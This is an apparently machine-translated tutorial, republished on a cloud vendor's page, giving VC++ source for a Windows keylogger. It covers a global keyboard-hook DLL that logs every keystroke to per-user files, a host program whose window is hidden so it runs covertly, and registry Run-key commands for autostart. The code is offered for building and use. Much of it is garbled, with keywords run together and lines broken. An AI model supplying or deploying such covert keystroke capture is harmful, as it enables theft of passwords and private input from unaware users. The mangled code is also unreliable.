VC + + Development Windows system global Hooks

Source: Internet
Author: User

Most of the content of this article belongs to the practice and practice of a web-based text, at the same time reference also a book, here to the web and the author of the book Pay tribute.

This program is a Windows System keyboard monitoring program, with the boot automatically start, you can monitor the system of the user's keyboard, and the key record written in the specified log file.

The program is divided into two parts: a global hook dll and a hidden single-document application.

    • Global Hook DLL

Create an "extended MFC DLL (Extension MFC DLL)" type project based on "MFC AppWizard (DLL)" Keyboardhook

In the auto-generated source file KeyBoardHook.cpp,

To define a global variable:

#pragma data_seg ("Publicdata")== NULL; #pragma data_seg ()

In the DLL entry function, add the code that gets the handle to the hook instance:

extern "C" intApientrydllmain (hinstance hinstance, DWORD dwreason, LPVoid lpreserved) {//Remove This if your use lpreservedUnreferenced_parameter (lpreserved); if(Dwreason = =Dll_process_attach) {TRACE0 ("Keyboardhook. DLL initializing!\n"); //Extension DLL One-time initialization        if(!AfxInitExtensionModule (Keyboardhookdll, hinstance))return 0; NewCDynLinkLibrary (Keyboardhookdll); Pinstance= HInstance;//Get the hook instance handle    }    Else if(Dwreason = =Dll_process_detach) {TRACE0 ("Keyboardhook. DLL terminating!\n"); //Terminate The library before destructors is calledAfxTermExtensionModule (Keyboardhookdll); }    return 1;//OK}

The specific implementation code of the global hooks:

//Save log fileextern "C" voidSavelog (Char*c) {    //printf ("Just click on the%c key/n", &c); //Char buffer[80]; //wsprintf (buffer, "C is the value of%c", c); //AfxMessageBox (buffer);    Const intMax_buffer_len = -; CharSzbuffer[max_buffer_len];        DWORD Dwnamelen; Dwnamelen=Max_buffer_len; GetUserName (Szbuffer,&Dwnamelen); CTime TM=Ctime::getcurrenttime ();    CString name; Name. Format ("C:\\keyboard\\key_%s_%d_%d.log", Szbuffer, TM. GetMonth (), TM.    GetDay ());    CFile file; if(!file. Open (name,cfile::modereadwrite)) {file. Open (Name,cfile::modecreate|cfile::modereadwrite); } file.    Seektoend (); File. Write (c,1); File. Close ();}//keyboard Hook callback functionextern "C"LRESULT CALLBACK Keyboardpro (intNCode, WPARAM WPARAM, LPARAM LPARAM) {LRESULT Result=CallNextHookEx (hhook,ncode,wparam,lparam);//AfxMessageBox ("Huidiao");    if(NCode = =hc_action) {        if(LParam &0x80000000){            Charc[1]; c[0]=WParam; //AfxMessageBox (c);Savelog (c); }    }    returnResult;}//Install hooks that create hooks wh_keyboard to hook handler functions Keyboardpro () Linkextern "C" BOOLWINAPI Installhook () {//AfxMessageBox ("Anzhuang");Hhook = (hhook) SetWindowsHookEx (Wh_keyboard, Keyboardpro, Pinstance,0); if(Hhook! =NULL)return true; Else        return false;}

Export the DLL function with DEF file and add it in Keyboardhook.def:

exports    ; Explicit exports can go to here    installhook        @1        //  The name of the DLL export function is Installhook, and the sequence number is 1

At this point, compile and run, the DLL part of the program is finished.

    • A single document application that is responsible for invoking the DLL

Create an MFC Single document application engineering Keyboardhookapp and copy the compiled KeyBoardHook.dll and KeyBoardHook.lib from the DLL project to the debug directory of the Keyboardhookapp project.

Set up a connection file: Fill in the object/library module of the connection, Setup-----KeyBoardHook.lib

Add the export function declaration in the header file KeyBoardHookApp.h to meet the function in calling the DLL in this app:

// Install hook function extern " C " BOOL WINAPI Installhook ();

In the view class KeyBoardHookAppView.cpp , overload the virtual function OnInitialUpdate() and add code to complete the installation of the keyboard hooks:

You can use the VC + + Class Wizard to generate code automatically: Ctrl+w set up the Class Wizard, and then select the band ... in class name. View class, select the object ID of the class itself, select OnInitialUpdate in message, double-click member functions to add the code.

void ckeyboardhookappview::oninitialupdate () {    cview::oninitialupdate ();         // Todo:add your specialized code here and/or call the base class     Installhook ();}

Finally, the window of this single document application is hidden, making it a daemon:

Change m_pMainWnd-ShowWindow (sw_show) to m_ in the InitInstance () function of KeyBoardHookApp.cpp pMainWnd-ShowWindow (sw_hide).

    • Set up the program with boot

Using the bat batch to make installation and uninstallation

" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run " /V keyboardhook/t reg_sz/d D:\keyboardhook\KeyBoardHookApp.exe
" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run " /V keyboardhook/f

Run install. bat as an administrator and the program takes effect after the system restarts. The log files are placed in the C:\keyboard directory.

Reference:

"Proficient in Windows programming--based on Visual C + + implementation" People's post and telecommunications press

"Using keyboard hooks to capture Windows keyboard actions" http://www.yesky.com/328/1890328.shtml

VC + + Development Windows system global Hooks

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.